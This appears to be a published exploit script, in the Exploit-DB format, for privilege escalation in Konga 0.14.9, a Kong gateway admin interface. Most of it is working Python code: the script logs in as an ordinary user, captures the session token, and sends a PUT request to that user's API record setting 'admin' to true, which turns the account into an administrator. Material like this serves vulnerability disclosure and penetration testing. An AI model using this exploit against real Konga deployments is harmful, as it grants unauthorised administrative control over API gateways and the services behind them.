# Exploit Title: KONGA 0.14.9 - Privilege Escalation
# Date: 10/11/2021
# Exploit Author: Fabricio Salomao & Paulo Trindade (@paulotrindadec)
# Vendor Homepage: https://github.com/pantsel/konga
# Software Link: https://github.com/pantsel/konga/archive/refs/tags/0.14.9.zip
# Version: 0.14.9
# Tested on: Linux - Ubuntu 20.04.3 LTS (focal)
import requests
import json
urlkonga = "http://www.example.com:1337/" # change to your konga address
identifier = "usernormalkonga" # change user
password = "changeme" # change password
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"Content-Type": "application/json;charset=utf-8",
"connection-id": "",
"Origin": urlkonga,
"Referer": urlkonga
}
url = urlkonga+"login"
data = {
"identifier":identifier,
"password":password
}
response = requests.post(url, json=data)
json_object = json.loads(response.text)
print("[+] Attack")
print("[+] Token " + json_object["token"])
url2 = urlkonga+"api/user/"+str(json_object["user"]["id"])
id = json_object["user"]["id"]
print("[+] Exploiting User ID "+str(json_object["user"]["id"]))
data2 = {
"admin": "true",
"passports": {
"password": password,
"protocol": "local"
},
"password_confirmation": password,
"token":json_object["token"]
}
print("[+] Change Normal User to Admin")
response2 = requests.put(url2, headers=headers, json=data2)
print("[+] Success")
